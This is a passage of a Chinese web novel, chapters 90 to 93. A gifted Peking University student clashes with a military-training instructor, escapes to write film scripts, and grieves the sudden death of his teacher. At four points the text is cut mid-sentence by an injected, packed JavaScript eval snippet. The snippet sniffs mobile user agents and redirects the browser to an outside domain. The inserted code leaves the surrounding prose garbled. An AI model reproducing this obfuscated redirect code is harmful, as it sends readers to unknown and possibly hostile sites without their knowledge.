“他的脸是我们几个挠花的。”小查、小王、小黄、龚玉几个挺身而出! “我们全班都动手了,你要处理,连我们一起处理吧!”全班狂呼! **傻眼了,看着肖卫国,心说,同志哥,你究竟做了什么**人怨的事情,把这帮高材生们激怒成这个样子? 看着一张张正气凛然的面孔,他意识到问题不简单。 再看看耷拉着脑袋的肖卫国,**同志心里明白了些什么。 他低声对费振刚说道:“费主任,就不要在操场上影响其他班级同学们的训练了,这件事情,咱们去你办公室说清楚吧。” 费振刚想了想,说道:“也好,依我看,还得上报学校领导,**,军训期间发生教官与学生之间的冲突,这不是一件小事。” **也不愿意担责任,点头说道:“好,那就跟沈校长知会一声。” 赵建福忙说道:“我这就去跟克琦副校长说一声。” 费振刚环视一圈诸位同学,冷声说道:“你们几个跟我来!” 高远和几位对视一笑,老老实实跟在费振刚身后往施德楼那边走去。 施德楼是北大教授教师们的办公楼,气势恢宏。 但这会儿大家却没心思多瞧一眼。 **也带着肖卫国走在后面,两人低声交流着。 **的面容一片铁青,恨不得踹这家伙一脚。 看看他的大花脸,心下一叹,忍住了。 系主任办公室大概有二十个平米,宽敞明亮。 主要涉事者高远、陈建功、葛兆光、梁左、苏牧、颜乾虎,还有小查等四名女生往里一戳,再加上肖卫国,办公室就有些拥挤了。 费振刚邀请**落座。 刚坐下,沈克琦副校长就在赵建福的陪同下急匆匆走了过来。 费振刚和**又站起身。 头发花白满脸慈祥的沈克琦跟**握了手,说道:“给部队的同志添麻烦了。” **满脸惭愧,道:“校长您可别这么说,我非得羞愧地找个地缝钻进去不可。” 沈克琦落了座,目光在诸位同学脸上一一扫过,严肃地说道:“说说吧,究竟怎么回事?你们为什么要殴打教官?” 高远刚想开口,被颜乾虎拽住了。 颜乾虎向前走了一步,不卑不亢,条理清晰地说道:“沈校长,这事儿我来说吧,是这样的……” 他把事发的来龙去脉介绍了一遍,不夸大,不添油加醋,只阐述事实。 “建功有句话说得没错,我们大多没经历过军训,不懂军训的规则,所以,是因为我的冒失才造成了今天的冲突,这事儿不怪高远他们,学校要追究责任,就追究我的吧,给我什么处分我都接受。” 沈克琦点点头,沉默不语。 **瞪着肖卫国,沉声问道:“这位同学说的是事实吗?” 肖卫国此刻嚣张气焰全无,他低着头说道:“是。” “**当兵当傻了?”**一拍桌子站了起来,怒视着肖卫国,大声吼道:“还是班长当久了脑子生锈了?新兵刚入伍也不是这么个训法的! 何况你面对的是一群国家的栋梁之才,是一群一心扑在钻研学问上的高材生! 你自个儿斗大的字不识几个就算了,还不许人家给你指出来,你自尊心很强大啊,强大到听不进一点不同意见去了! 谁反对你谁就活该受罚呗。 **是谁啊? 是旧社会的地主老财吗? 是封建社会的皇帝老儿吗?” “师长,我错了……”肖卫国喏喏地说道。 “你不该向我道歉,你应该向这帮同学们道歉!艹,要我说,你这顿打挨得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402271|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冤!揍得轻了!” 肖卫国羞愧地抬起头,对同学们说道:“对不起各位了,我犯了教条主义错误,自大主义错误,请同学们原谅我。” 大家一言不发,看都不看他一眼。 沈克琦咳嗽了一声,先对**说道:“长庚同志,你先消消火,坐下喝口茶。” **一笑,又坐了下来。 沈克琦望向高远几人,继续道:“你们几个也不是一点错误都没有,对教官存在意见可以提嘛,怎么能打架呢?” “他也得听得进去啊,就是欠揍。”高远嘀咕道。 “你说什么?再说一遍我听听。”沈克琦是今年七月份刚被任命为北大副校长的,对高远一点都不熟悉。 高远可不怵这个,梗着脖子说道:“我说他欠揍。” “还反了你了!你叫什么名字?敢顶撞老师,你信不信我开除了你!”老头儿怒了。 小查吓坏了,拉一下高远的袖子,轻声道:“祖宗,你少说两句吧。” 高远从鼻子里喷出一道气来,冷笑道:“都说北大学风开明,我看也不过如此!” 沈克琦腾地站了起来,面红耳赤,气得浑身发抖。 “高远!怎么说话的?你放肆!” 这话不是费振刚说的,也不是赵建福说的。 江南之大步流星走了进来,对准高远的屁股就是一脚。 挨了一脚,高远连个屁都没敢放,心里却无比踏实。 他跟明镜儿似的,我亲爹护犊子来了。 费振刚和赵建福飞快地对视一眼,嗯,危险解除了。 果不其然,江南之走到沈克琦面前,拽着他坐下,然后说道:“多大年纪了,还跟个小年轻儿的动火气,你不怕你那老肝脏承受不住啊。” 沈克琦呼呼喘着粗气,“我快要被这小子气**,犯了错不承认,还满嘴的理由,这是谁教出来的学生?也太没规矩了!” “我教出来的。”江南之语出惊人。 沈克琦目瞪口呆。 江南之笑道:“给你介绍一下,这小子叫高远,是我的关门弟子,77中文系文学班的学生,去年京城的高考状元,也是今年学校‘五四青年奖章’的获得者。 他创作的剧本《我这一家子》被北影厂采用,电影已经拍完了…… 什么时候上映来着?” 高远忙说道:“十月一号。” 江南之点点头,又道:“另外,他前阵子又创作了两个剧本,也被北影厂拿下了,给学校争得了巨大的荣誉啊。” 沈克琦尽管对高远取得的成绩也感到惊讶,但他是个很老派的人,哼了一声后说道:“取得了些许成绩就理所应当认为有翘尾巴的资格了? 我们党向来讲究有功就奖有错必罚! 成绩和错误不能相提并论! 高远同学,这点你认同吗?” 高远心里不忿,嘴上却很老实,“我认同。” “你承认这次冲突,虽然源自于颜乾虎同学的言语冒失,却也是因为你率先对教官动手所引发的吗?” “我不认也不行啊。” 老头儿没听出高远话里的讽刺味道,说:“你认可就行,有道是一个巴掌拍不响,你不先对肖教官动手,也不会爆发出这么严重的冲突,你的不当行为对学校优良的声誉造成了特别巨大的恶劣影响。 我决定,对你处以记大过处分一次,记入档案,什么时候撤销处分,视你今后的表现决定!” “这是杀鸡儆猴啊,老师,我不念了,我退学。”高远说道。 江南之怒火中烧,大声道:“敢!当我面欺负我徒弟,你个老家伙这是逼着我跟你掀桌子!” 第91章 大伯一怒 在场的诸位谁也没料到南老说怒就怒了,大家噤若寒蝉,一时间办公室里安静的落针可闻。 沈克琦也懵圈了。 他看着江南之涨红的面孔,起伏的胸口,生怕老先生一口气儿没喘匀嘎嘣一下就瘪犊子了,立马伸手轻轻顺着他的后背,温言细语地安抚道:“南老息怒,息怒,我也就是提个意,这不都是为高远同学好吗?我也是怕他再犯错误。” “你这是为了他好吗?你是在断这孩子的前程!老东西,你是工宣队出来的吧?!” 这话说得可诛心了。 费振刚把手搭在赵建福肩膀上,他的肩膀一怂一怂的。 赵建福低着头,脑袋点得跟小鸡吃米一般。 沈克琦瞪大眼睛连连摆手道:“老家伙,饭可以乱吃话不能乱说啊!我一颗红心向着党,从不敢叛党**背叛人民的事情,你可不要冤枉我!” “那你为什么要冤枉我徒弟呢?” “我说了,我是……” “为他好”三个字却怎么也说不出口了,说穿了他还是有私心,也在维护他作为副校长那点脸面。 **同志见这二位吵吵起来,赶忙打圆场道:“沈校长,南老,二位都消消火,别生气。 这事儿我听到现在完全弄清楚了,错不在同学们,是我们这位同志心胸狭隘了,听不进去不同的意见,官僚主义严重,还在同学们面前耍子弟兵的威风,实属不该啊。 这场冲突,是因为他才引发起来的。 作为他的领导,我代表部队给学校方面,给同学们道歉。” 说着,他站了起来,冲几位同学鞠了一躬,又道:“对不起,让同学们受委屈了。” 陈建功几个人诚惶诚恐,连连说着没事儿没事儿。 高远哂笑一声,连个眼神儿都欠奉。 **同志又对沈克琦和江南之说道:“沈校长,南老,请二位放心,回去后,我一定会严肃处理这件事情。您二位看,是不是先让肖卫国同志回去,带队把上午的军训完成? 别因为这点小事儿耽误了训练嘛。” 沈克琦耷拉着脑袋,灰心丧气道:“南老看着办吧。” 江南之哼了一声,不吭声。 高远看出来了,**这是要和稀泥,要息事宁人。 本质上,他是在维护部队和教官的权威性。 但若是继续让肖卫国担任他们班的教官,肖卫国即便不敢明目张胆地使坏,背地里使阴招,也够大家伙儿受的。 教官想要给同学们下绊子,招数那可太多了。 例如,比其他班级多站一个小时军姿,美其名曰:锻炼你们顽强拼搏,不怕苦不怕难的意志,你能说啥? “我想问一下啊,**刚才说要严肃处理这个问题,您打算怎么严肃处理呢?”高远不依不饶地问道。 **瞪他一眼,心说你还真是个刺儿头! 我能怎么处理,我就说句场面话而已,大家面子上都过得去就得了,我还真能把我的兵毙了不成? “这个……得回去开个会研究后才能决定。”**面无表情地说道。 高远点点头,心里有数了,这可是你们逼我的。 他对费振刚说道:“费老师,我借您电话用用行吗?” 费振刚微笑道:“这有什么不行的,尽管用。” 高远走过去,抓起话机拨动转盘,电话响了三声后被对方接听。 “大伯,是我,远子,没打扰您工作吧?” “小远啊,没有没有,我这会儿刚好不忙,你找大伯有事儿?” “我被人欺负了,不仅是我,我们全班同学都被一当兵的戏耍得跟猴儿一般,遇到事情我也不想找家长,这不是没办法了么,当兵的领导护犊子,在这儿和稀泥,我要是再不跟您说一声,您大概就见不到您侄子了。” 在场的诸位心里皆是咯噔一下。 这家伙给谁打的电话? 听那意思,他称呼为“大伯”的那个人是个大官啊。 沈克琦尤为慌张,低声问江南之道:“高远同学找得谁?” 江南之对高远的家世一清二楚,冷哼一声,说道:“文化部长高跃华同志。” 我吓不死你个老东西! 沈克琦脸色煞白,险些没背过气儿去。 那位**也震惊了,没想到啊没想到,这小子背景通天,高跃华,那可是老**,老**了! 肖卫国两腿一软,瘫倒在地,完犊子喽,一脚踢在了铁板上。 同学们虽然没听说过高跃华的大名,却也知道,文化部长是个多大的官。 “这孙子隐藏的太深了。”梁左低声说道。 小查点头如捣蒜,“不过嘛,咱们家小远子可一点纨绔子弟的作风都没有。” 陈建功说道:“这正是远子最难能可贵的品质。” 话分两头说。 高跃华一听高远说受了那么大委屈,顿时暴跳如雷,他把桌子拍得邦邦响,大声说道:“小远你告诉大伯,负责给你们学校进行军训的是哪支部队? 反了天了还! 大伯这就找他们领导反映情况去!” 老高家千顷地一根苗,谁动高远,就相当于触动了高跃华的逆鳞。 高远斜乜一眼那位**,不带一丝感情地说道:“我听说是卫戍区的人,一个个牛气的很呐,带队的**叫什么长庚。” “秦长庚?你叫他听电话!”高跃华声音近乎于狮子低沉的嘶吼,由此可见他此刻的愤怒。 高远打量着**,一亮电话说道:“高跃华部长的电话,长庚**接不接?” 秦长庚坐不住了,起身三步并作两步走过来,接过电话捂住话筒苦笑着对高远说:“你这个小家伙,早说你是老**的侄子,那还有什么好说的,我还能让你受委屈不成?” “您这是在埋怨我没有早点告知?” “不不不,嗐,待会儿再说吧,我先接电话……**您好,我是秦长庚!” “好你个秦长庚,几天不见你长能耐了啊,都敢跑人家北大去耍威风了,**怎么不到海子里耍横去?” “报告**,我不敢!” 高远不管他跟大伯说什么,对沈克琦说道:“沈校长,我们能走了吗?” 沈克琦心里憋屈得很,不愿意搭理他。 江南之挥挥手,说道:“滚滚滚,兔崽子,一天到晚净给我惹事儿,还杵那儿干啥?你晾衣裳呢?” 高远嘿嘿一笑,刚想着走人。 见门开着的梁晓声走了进来,一拍高远的肩膀说道:“我可找到你了,紧急任务,《李志远》这月底开机,剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402272|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本里有几个段落导演觉得还得斟酌一下,要你回去改稿。 喏,这是汪厂长给开具的公函,还有厂里给你下的聘书。” 他把公函和聘书一起从包里取出来递给高远。 高远接过来,心中充满了苦涩,公函好说,聘书…… 不用问他也能猜到汪阳那老头儿打的什么鬼主意,你小子不是要逃军训么,可以啊,痛痛快快接受老子的招安吧。 打今儿起,你就是我北影厂特聘的编剧了。 不接受也不要紧,我让你在北影厂改两天稿子,找个理由再把你送回学校去就是了。 你不回? 好,我给你们学校打电话,就说你在北影厂的工作全部结束了,让学校派人把你接回去。 高远相信,那老头儿能干出这等不达目的不罢休的事情来。 他叹息一声,转头对江南之说道:“先生您看……” 江南之岂能猜不透这孙子的心思,又摆摆手,说道:“公事重要,去吧去吧。” 高远又望望费振刚和赵建福。 这二位也笑而不语,相当于默认了。 得嘞,彻底解放喽。 这货把函件递给费振刚,算是报了备,然后率领着同学们浩浩荡荡出门下了楼。 梁左精神焕发道:“高老师,今天多亏了你,要不然我们今后的日子可就难过了。” 小查也点头说:“继续让肖卫国给咱们当教官,不被他暗地里整死才怪了。” 颜乾虎低声说道:“都怪我,给大家添麻烦了。” 高远拍拍他的肩膀,道:“都说过了,跟你没关系,那王八蛋故意找茬呢。老颜,你别有心理负担。” 苏牧哼哼一声,道:“该有心理负担的是老叶,我还真没看出来,他居然是个两面派。” “这词儿不准确,应该说,他说一套做一套,人前一套背后一套。”黄蓓佳撇着嘴说道。 “要求进步,积极向组织靠拢嘛,也没啥不正确的。”高远这话说得有些违心。 大家发出整齐划一的嘲讽声:“咦……” “回北影厂改稿,你算是彻底脱离苦海了,诶我说你小子不会是早有安排吧?”梁左猛然惊醒,一句道破天机。 “看破不说破,你还是我好哥哥。”高远嬉皮笑脸道。 梁左乐了,“嗯嗯,你放心,我不跟别人说。” 高远一个字儿都不带信的,从口袋里掏出一把钱,抽出三张大团结递给陈建功,道:“陈哥,天太热了,我担心同学们长时间站在大太阳地儿会中暑,这事儿就麻烦您吧,每天买一箱北冰洋给大家伙儿补充补充水分。” 陈建功也不跟他客气,把钱接过来后笑着说:“谢高老师赏。” 穿过操场,来到同学们中间。 高远受到了英雄般的欢迎,掌声、欢呼声响成一片。 也不知道哪位仁兄哟呵了一嗓子:“把高老师抬起来,使劲儿给我抛!” 呼啦一下,男同学们一拥而上,把高远抬起来,狠狠抛向半空,然后又接住,如此循环往复。 “哥哥姐姐们,别玩儿啦,看在我昔日对你们还算忠诚的份儿上,饶兄弟一条狗命吧,快放我下来,兄弟我还是个孩子啊……”高远惊恐万分,大声嘶吼,吓得裤裆里都软趴趴的。 第92章 姐姐来信 大家哈哈笑着把高远放开。 这货得到解放,下来站稳后冲哥哥姐姐们一抱拳,说道:“谢谢大家开恩,兄弟无以为报,今后咱班的饮料算我的。” 陈建功忙说道:“大家朝这儿看,这是高老师赞助的,给同学们弄点儿汽水儿喝喝,大家给高老师呱唧呱唧!” 他一亮钞票,叫好声,掌声立刻响了起来。 “高老师仗义!” “高老师局气!” “高老师牛逼乘以100块!” 高远笑着道:“我在咱班里岁数最小,平时受哥哥姐姐们的颇多关照。 今天这事儿,要不是哥哥姐姐们鼎力相助,我就算不被学校给开除,怕是也得被当兵的给记恨上。 兄弟无以为报,为大家伙儿做点力所能及的事情,权当是感谢大家平日里对我的帮助和照顾了!” “高老师言重了,哥哥姐姐们都贼拉拉稀罕你。”这话这位一听就是个东北人,她叫李志红。 又引起一阵哄笑。 高远对大家说:“我也喜欢哥哥姐姐们,不过对不住大家伙儿了,兄弟我又要当逃兵了,北影厂导演命令我回去改稿,我得跟大家暂别一段时间,咱们改日再见。 诸位,你们辛苦了!在军训的这段艰苦日子里,你们要加油哦!” 同学们怎么听怎么觉得这货是在幸灾乐祸。 大家顿时产生了群殴他一顿的想法。 同学们不怀好意摩拳擦掌之际,高远果断地转身就跑。 大家破口大骂:“幸灾乐祸的王八蛋啊!” 人群中,叶君远神情黯然,从同学们看自己的眼神中,他就知道,自己自此以后在这个班集体中威信全无了。 高远和梁晓声回到北影厂。 刚到门口,佟大爷喊住了他:“远子,过来拿信。” 高远推着自行车走过去,笑呵呵问道:“谁啊,把信寄到这里来了?” 佟大爷附身将一个麻袋提起来递给他,道:“读者来信。哦,还有一封从明珠电影学院寄过来的。” 他又递过来一封。 高远先把麻布袋接过来,又把信接过来看了眼,嘿,健群大姐姐寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402273|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的。 他眉开眼笑,向佟大爷道了谢,把麻袋放在后座上一夹,又将大姐姐寄过来的信件放进包里,这才蹬上车子回了招待所房间。 第一次收到读者来信,高远还是有点小激动的,但他没有先打开读者的信件,而是把姐姐的信拿出来,撕开信封认真阅读起来: “高远,展信安。 你的来信我已收到,对剧组的情况多有了解。 后期制作顺利,我心安定。 万分盼望影片能够如期上映。 另:感谢你这段时间对我的关怀与照顾,我心存感念,并期待与你下一次的真诚合作。 我一切安好,请不用挂念。 北影厂领导们已经给我校发来政调函,调我去北影厂工作,学校已初步同意,征求过我的意见后,我决定接受北影厂的邀请,赴京城工作。 期待与你再次相遇。” 落款是:健群。 高远看完,热血沸腾。 想提笔给姐姐写封回信,却又觉得无从写起,遂盖上笔帽,杵着下巴颏沉思起来。 第93章 最肯忘却古人诗 明珠市《**故事会》编辑部。 新一期杂志的样刊已经出来了,顾小白拿着一本正在阅读。 他跟主编又碰了碰,还是决定将高远这篇《太极宗师》分为上下两篇进行刊登。 顾小白的理由是,吊读者胃口未必是件坏事,说不定可以增加杂志销量。 姜若齐想了想,觉得是这么个理儿。 并且他理解顾小白的心思,编辑们不容易,因为组稿不是件容易事情。 寻不到合适的稿子,他们往往会亲自上手写,既当编辑又当作者。 留半部也好,起码不用为下期的内容发愁了。 这一期发表的就是顾小白最先看到的那半部。 他嘿嘿笑着,对罗书全说道:“也不知道读者们看到这里会不会跟我们有相同的感受。” 罗书全戴着副眼镜,一副斯文败类的样子,也一笑,道:“顾老师,您英勇无畏,是真不怕被读者们找上门来啊。” 顾小白就哈哈大笑起来,“不得不承认,小高老师的写作水平就是高,这故事写得太精彩了。” 那位胖胖的女编辑也称赞道:“写得确实好,顾主任,这算是全国各大杂志社复刊后的第一篇武打类型小说了吧?” 顾小白转着眼珠儿说道:“应该是吧。” 不是应该,就是第一部。 1981年,《南风》杂志才开始连载梁羽生的《白发魔女传》,从此开了香港作家在内地杂志上连载作品的先河。 同年,《武林》短暂连载过庸子的《射雕英雄传》,后来不知道什么原因又给叫停了。 据说,庸子的小说在整个80年代都属于盗版文学。 咱也不知道人家自个儿写出来的作品为什么被划分到盗版文学这个版块中。 但庸老爷子也不是个凡人,经过一番协调,终于在90年代初,才跟三联书店达成了合作协议,出了一套正版的作品集。 后来大家搞清楚了事情的真相,80年代的时候,老爷子还在《明报》任职。 《明报》**思想严重得很呐。 反观梁羽生,人家老梁是左派,跟大陆方面非常亲近,所以人家才能挣大钱。 现如今,随着高远这篇《太极宗师》的横空出世,国内武侠小说的初次连载轻而易举就易主了。 又过了一天,明珠某印刷厂灯火通明。 新鲜出炉的《**故事会》每一百本被捆成一包被送上车,发往各个报刊点、书店和邮电局。 这本杂志主要在长三角地区发行。 还没覆盖到全国。 上戏大门口就有一家报亭。 李健群拎着个行李箱,已经办完了所有手续,今天正式去北影厂报到。 大姐姐心情很好,路过报亭,她驻足,想着买本杂志在火车上打发时间,便问道:“张姨,有《BJ文艺》吗?” 报亭里头露出一张中年女人风韵犹存的笑脸来,“是健群啊,哎呀很不巧,最后一本《BJ文艺》刚被另一个同学买走了。” “那《收获》呢?” “《收获》也没了。” “还剩什么呀?” 阿姨瞧了瞧,说:“刚送过来十本《**故事会》。” 李健群倒也不挑,笑道:“麻烦您给我来一本吧,多少钱?” 阿姨递给她一本,道:“两**四。” 李健群付了钱,把杂志接过来,又道了谢,拉着行李箱拦了辆板车,奔火车站了。 与此同时,从成都开往京城的列车站前。 候车站热闹极了,叫卖声,吆喝声连城一片。 站前书报亭前面人头攒动。 “来本杂志!” “没有!” “来本画报!” “没有!” “有什么?” “**故事会。” “来一本吧。”身穿白衬衣,蓝军裤,脚蹬解放鞋的周全国说道。 售货员把小册子递过来。 周全国接下,看一眼,32开的小杂志,两**四,咧着嘴,付钱。 心说总比在火车上大眼瞪小眼强。 于是拿着上车。 火车开动。 从成都到济南,40多个小时的车程,他坐在位子上,百无聊赖,打开《**故事会》。 第一页就是硕大的四个字《太极宗师》! 杨昱乾出外寻找名师学艺落泊京城之际,有幸遇上一八卦掌的真英雄董汉成,欲上前拜师,却因董汉成另有要事在身而赶速离去令杨昱乾失望不已。 杨昱乾经过几番波折,转辗到河南温县陈家堡,欲拜太极高手村长陈正英为师,却被一口拒绝,并将杨昱乾赶出村。 陈正英遭人下毒,杨昱乾在令陈正英不失尊严的情况下,救其一命。陈正英深受感动,破例正式收杨昱乾为徒。 期间,杨昱乾与陈正英的闺女陈少琪萌生感情。 后,为救师父性命,杨昱乾孤身北上京城,与仇人谈判寻求解药…… 写到此处,断了。 周全国坐在座位上一动不动,看到激动处还抽动嘴角。 如同身在密室的张无忌遇到了赵敏,这货脱下了赵敏的布袜,握着赵敏那粉雕玉琢、白嫩细腻的小脚丫,说:“没有下半部,我挠了!” 意犹未尽呐! 他是西川人,杂志社编辑。 翻开篇头,看一眼作者的名字:高远。 周全国若有所思,这名字好熟悉呀。 又一想,《BJ文艺》上发表的《李志远》作者就叫高远吧,难不成,这是一个人? 好文章! 若是我们杂志有这么一篇文章刊载,那,火了。 火车发出的鸣呜鸣声终于停歇了。 李健群拎着行李从火车站台走出来。 前来接她的是高远。 他走上前,惭愧一笑,道:“没给你回信,是因为最近有点忙,《李志远》的拍摄我没管,我在忙着逃军训呢,姐姐别见怪啊。” 李健群笑笑,端详着他道:“你好像胖了一些,我没生气的,你能来接我,我就很高兴了。” 高远把行李箱从李健群手里接过来,说:“走吧,咱们先回厂招待所,晚上我给你接风洗尘。” 这时候,一大队人马急匆匆跑了过来。 打头的是陈建功,后面跟着梁左、葛兆光、苏牧、小查等人。 一见高远,梁左便红着眼睛,满脸悲怆,不由分手拽着他的手腕急切道:“远子,我跟你说个事儿,你千万不能激动!” 高远见他这副悲伤的样子,心里咯噔一下,忙问道:“怎么了这是?你快说!” 梁左语气沉重,张了张嘴,没说话眼泪先流了下来。 陈建功这时候声音低垂道:“远子,南老走了,你要冷静,千万要冷静!” 高远如遭雷击,脑袋嗡的一声发出轰鸣,无论如何也不敢相信自己的先生突然就走了,双膝一软跪倒在地。 李健群也懵了,连忙去拉他,却怎么也拉不起来,急切道:“高远,高远,你别激动,别这样,先起来,先站起来好吗?你这样根本无济于事的,先冷静,先考虑清楚你该怎么去处理先生的后事。” 高远无动于衷,听不进任何的劝阻,仍然跪着,捂着脸,眼泪如断落的雨点一般哗哗落下。 脑海中,他和先生从相识到相交,从相交到深受教诲的一幕幕像过电影一般一帧帧闪现,先生的每一句话,都让他记忆犹新,无法忘怀。 “小子,你是个有才华的,但切记不要被才华所累。” “孩子你记住,既然走上了编剧这条路,就要为广大人民群众创作出更多有深刻意义的作品来,为新中国的电影事业贡献你的一份力量。” “小远啊,你是我的关门弟子,什么叫关门弟子?就是说,除了你,老头子再也不会收别人为徒了,老头子这扇门从此关上了! 孩子,你写了几部作品,都很不错,先生以你为傲。 但是我要你记住,在文学创作的这条路上,你当求真、务实、严谨、创新,要踏踏实实,一步一个脚印地走好这条路。” “哪天我若是不在了,你照顾好你的师母……” 天色阴沉如水。 轰隆! 一个惊雷在半空中炸响。 紧接着,在这个八月底的夏日,瓢泼大雨坠落下来。 高远双拳紧握,高昂着头,双目赤红,扯着嗓子仰天长啸:“啊!!!!!” 航站楼里乘客们纷纷驻足,看着跪倒在地高声嘶吼的年轻人,一时间面露不解,又目瞪口呆。 李健群眼眶通红,也跪倒在他面前,双手捧着他的脸,泪流满面道:“远子,斯人已逝,你要坚强,你一定要坚强。 这时候,回学校,回到你先生的家里,把先生的后世料理好才是最重要的事情。 不哭了,咱不要哭了好嘛,我在你身边呢,你要冷静,要理智啊,无论发生什么事情,姐都会在你身边。” 高远闻言,瞬间清醒了过来,抹一把脸上掺杂着雨水的泪水,哑着嗓子对李健群说道:“姐,我失态了,但是我……我真的接受不了呀,我的先生他,他怎么就突然离去了呢? 他怎么就这么狠心的呀?! 这让我……今后还能向谁请教不懂的知识,还能向谁诉说心中苦闷? 他怎么就不跟我说一声,说走就走了呢?他走,经过我允许了吗?我的先生呀……” 李健群抱着她,泪如雨下:“有我,还有我呢,远子,不哭,你还有姐,今后姐姐就是你的依靠。” 高远呜呜哭着,欲起身,双腿却如灌铅一般,根本站不起来。 梁左见状赶忙搀着他的胳膊,将他扶起来,沉声说道:“你也别太伤心了,大家都感觉太突然了,先生82岁了,前些年又遭受了那么多的不公平对待…… 先生是突发心梗,昨晚睡下后就再没有起来,师母今早发现的时候,人已经没气儿,作古了。 好在……好在先生没遭罪。” 高远两股颤颤,站都站不稳了:“你们怎么来的?” 陈建功低声道:“学校派了车,费主任说,务必要接你回去,你是先生的关门弟子,无论如何得让你送先生最后一程。” 高远涕泪横流道:“辛苦你们扶我一下,我站不住了,咱回家,回我先生家。” 梁左和李健群一左一右扶着他走出航站楼,上了车,直奔北大。 车子在宽阔的马路上疾驰,高远路上一句话都不说,低着头,泪水止不住地往下流。 车行速度飞快,不到半个小时,伏尔加进入校园,绕过朗润湖,停在了湖东岸一栋四层的建筑前。 高远急忙下了车,跟司机师傅连声再见都不顾上说,飞快地推开门下了车,疾步入单元内跑到二楼。 二楼东户门口堆满了人,见高远走过来,老师、教授们都想跟他说点什么,最终张了张嘴,安慰的话却一句都说不出来。 高远也顾不上跟他们打招呼,冲进屋里,一眼就看见先生的遗体摆放在客厅中央。 先生身穿中山装,披着党旗,脸上盖着黄纸,安卧在一张一米半的床中央。 床前立着一个黑色矮几,矮几上竖着先生的遗像。 黑白照片中,先生笑容慈祥,依然那么和蔼可亲,像极了平时课上的样子。 照片下面摆着个个香炉,香炉里的三支檀香散发着渺渺轻烟。 另有三个食碟摆在香炉下面。 注视着先生的遗像,高远立刻崩溃了。 他快步走上前,扑通跪下,任泪水肆无忌惮地流淌下来。 他狠狠磕了三个头,脑袋磕在冰凉的地面上砰砰作响,再抬起头来,他嚎啕大哭:“先生,徒儿来晚了呀!” “您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402274|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么说走就走啊,怎么就不知会徒儿一声,就这么撒手不告而别了呢?您让徒儿今后有话跟谁去说,再有心事跟谁去诉呀? 没见到您最后一面,您知不知道,徒儿这辈子都悔**呀……”他跪着挪到先生身前,揭开黄纸把脸紧紧贴在先生苍白的面孔上,任由泪水肆无忌惮的敲打着先生白纸一般的面庞。 在场的众人无不动容,痛哭流涕。 这泪水,不仅是为北大失去了一位优秀的老教授而流,也是为南之先生故去之后还留有这么一个不忘师恩的好徒弟而流。 南之先生的大徒弟汪若水走过来,俯身搀着高远的胳膊低声说道:“小师弟,起来吧,大家都理解你这会儿悲痛的心情,但你也得接受现实,先生已经走了,当务之急是安排好先生的身后事,你得坚强,咱们都得坚强起来。” 高远猛地抬头,直视着他,然后抱着他的大腿悲声痛哭道:“师哥,我……我来晚了呀,先生怎么就突然走了呢?我真接受不了呀师哥。” 汪若水也跪了下来,搂着高远泣不成声道:“太突然了,太突然了呀师弟,别说你接受不了,我接到学校领导电话通知的时候,也觉得跟天塌了一般…… 谁能想到咱师父在睡梦中说没就没了呀,咱们还没来得快给师父尽孝,师哥的心里也难受啊……” 师兄弟两个人抱头痛哭,看得在场的众人无不动容,泪如雨下。 “红豆生南国,春来发几枝。愿君多采撷,此物最相思。” 沙发上,头发花白的老太太捻着一粒红豆项坠默默垂泪。 高远强撑着站起身,忍着双膝剧烈的疼痛走过去,在老太太身前跪下来,紧握住老太太的手,泪流满面道:“师母,您放心,家里有我在呢,还有我师哥在呢,先生的身后事,孩子们会办得妥妥当当的,让先生入土为安。 孩子向您保证,今后您就是我的母亲,孩子会给您养老送终的。” 温柔抚摸着他的面庞,老太太流着泪勉强笑了笑,“我放心,放心着呢,有你这孩子在,有你师哥在,师母很安心。 小远,你瞧啊,这是你先生年轻时给师母的定情信物。 你先生奉王维为诗仙,他说,王维的诗是充满了大爱的。 他还说,这首《相思》,借咏物而寄相思,风格明快,却又委婉含蓄,语浅而情深,像涓涓细流,又如滔滔浪波。 